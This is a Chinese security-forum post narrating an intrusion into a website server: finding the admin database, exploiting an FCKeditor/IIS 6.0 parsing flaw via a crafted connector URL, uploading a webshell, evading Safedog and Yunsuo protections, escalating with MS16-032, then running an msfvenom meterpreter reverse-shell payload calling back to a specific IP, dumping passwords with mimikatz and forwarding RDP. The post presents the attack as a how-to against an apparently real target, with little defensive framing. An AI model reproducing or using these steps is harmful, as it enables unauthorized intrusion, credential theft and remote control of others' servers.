找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2632|回复: 1
打印 上一主题 下一主题

从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:31:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

! W. g/ G+ M/ v6 A

. N' ?: u/ c8 l5 d* K8 m2 ^9 R$ J) V* S1 e5 @7 N6 o+ m$ g7 ?; H% w, @' ~2 A, H! [% t3 n* k- |6 w( \7 N1 G! Q) Q
* s8 N" R' _0 T$ t2 }

6 U, C9 {& ^% {
' u6 u/ b8 t* p. ?
一、 利用getwebshell篇
6 _ A+ F+ E% l* \ q- A# @
6 O+ u J( X2 m, z5 u: l
首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图:
- v$ m4 ~" e, n5 U4 p: o
3 Y* X5 U. x$ t222.png
5 y5 I. f! b$ r; G4 T+ t
下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到)
# `5 u4 D9 Z( y! a0 S) A& J 333.png
8 x$ r* {+ [$ l
下面我们构造一个asp目录,如: , `; x- }4 S$ I; b; R# V, Y& d9 A

3 ^: r' d$ S5 g6 m4 _

7 {" K# t( Z! v% R5 q# Y) J http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 " z0 q$ q6 K" a

3 r1 U3 d* }9 J% z

9 o5 e$ D; p4 D% H 然后再给shell.asp目录上传一个jpg图片格式的一句话,然后用hatchet打开,然后看了一下支持aspx,那么我们就用包含的办法先把aspx后缀名改成.rar,然后再创建个111.ASPx,里面包含rar文件,进去以后看进程有云锁和安全狗,那么,那么我们慢慢来,慢慢来。
! F- x6 X: J; J$ `' u
U9 G+ K5 [% [+ D4 [
一、 绕过安全狗云锁提权并且加账号
3 e7 d; ^" k9 Z' v { J: ]444.png
! c1 O, R7 o) [# G, z/ t/ h" _ M& H
没法看系统信息,但是根据网站404页面可以断定是2003服务器,然后接着访问C:\Program Files (x86)存在断定是2003 64位系统,那么我们说干就干,我们上传ms16-032 64位直接干,但是发现上传exe或者别的格式exp会自动消失,看进程也没杀毒呀,没错没杀毒,是云锁有个功能防御了,那么突破云锁上传的方法就是利用rar,先把exp打包为64.rar上传,然后我们翻一下rar在哪个目录,在C:\Program Files (x86),然后开干
: U% W- j% w( r8 t) j
/ r0 W7 Q: W/ b5 C: |. M" U8 a" h8 a
如图:
1 D5 K! `+ m/ V8 X1 I4 T555.png
# C' } y. z* Y. [/ Y, O& W
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组,我操后来也想着用getpassword64抓明文密码,但是一执行就卡死,没办法想到了metasploit
8 U- B# m9 x. w0 ^
9 ~* z% v# d2 H6 z1 r
一、 利用metasploit
# `. P4 q- n* j# \: o
* j7 k; r7 `1 g- D6 Y9 l
首先用pentestbox生成一个64位的payload如下命令
9 |- [' b# M; Q2 _2 m( C' z0 p
. U9 s( k/ Y: n2 @3 B+ t$ t4 ?msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
; ?2 Z- V! P( p0 L+ F6 k/ s& a
1 K+ F5 ?' k4 k: s1 j1 P
为什么要用443端口,之前我测试用别的端口直接被墙了没法上线,下面我们在system下执行这个mata,上线如图:
2 G5 k/ s' { i/ g: n2 _$ V 11.png
& B: V* v" C) X8 Z
下面我们用这个命令抓一下明文密码命令1:use mimikatz 命令2:kerberos如下图:
% _* H* ]* K) o9 K4 B& J" {13.png
4 D- E: o) R( d3 u; l- t
下面我们来做一个监听如下命令:
% u1 P6 Y& {, q6 f% V
! y: N3 Y; D2 H* Q4 H portfwd add -l 6655 -p 3968 -r 127.0.0.1
,这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图:
" ~# E' |% t5 L/ K18.png
8 F1 H e6 p% K+ c* }

. U* m+ H0 t- q" h
* R% c) n7 J* A' X" B: d

. ]9 ~" F# g. f( z- E& i

5 d, i7 e- N! |3 D# d- O6 S. B
2 _ K4 ~" z( u! @+ i* G- g. _2 g
; x0 L8 t, |: m" u, k/ t) P
( i# i/ J1 `+ S2 @, P

[9 s- i; M! |; W! j
6 q, o/ h: _% y& {2 q6 L # m, B9 p/ S) b$ c- R

4 a! v3 B, U& S# i
2 F* A3 d; K6 a4 _9 b

回复

使用道具 举报

沙发
匿名  发表于 2021-11-20 23:30:06
图片怎么都没了
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表